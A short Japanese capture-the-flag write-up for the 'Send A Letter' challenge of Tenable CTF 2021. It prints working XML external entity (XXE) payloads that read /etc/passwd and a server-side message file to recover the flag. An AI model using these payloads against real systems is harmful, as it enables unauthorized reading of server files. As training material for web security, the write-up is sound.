Send A Letter [Tenable CTF 2021]

?letter= <?xml version="1.0" encoding="ISO-8859-1"?>name<return_addr>add</return_addr>aba というなんとも言えない感じになっている。 return_addrに使えるアドレスを入れてみる

Message to a appended to /tmp/messages_outbound.txt for pickup. Mailbox flag raised.

よくよく見てみるとnameがオウム返しされていた。 これがsourceになりえるな。

<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE netspi [<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>name<return_addr>add</return_addr>&xxe;ba よし、取れましたね

/tmp/messages_outbound.txtが唯一示されているので、見てみよう。 <?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE netspi [<!ENTITY xxe SYSTEM "file:///tmp/messages_outbound.txt" >]>name<return_addr>add</return_addr>&xxe;ba

-> ok flag{xxe_aww_yeah}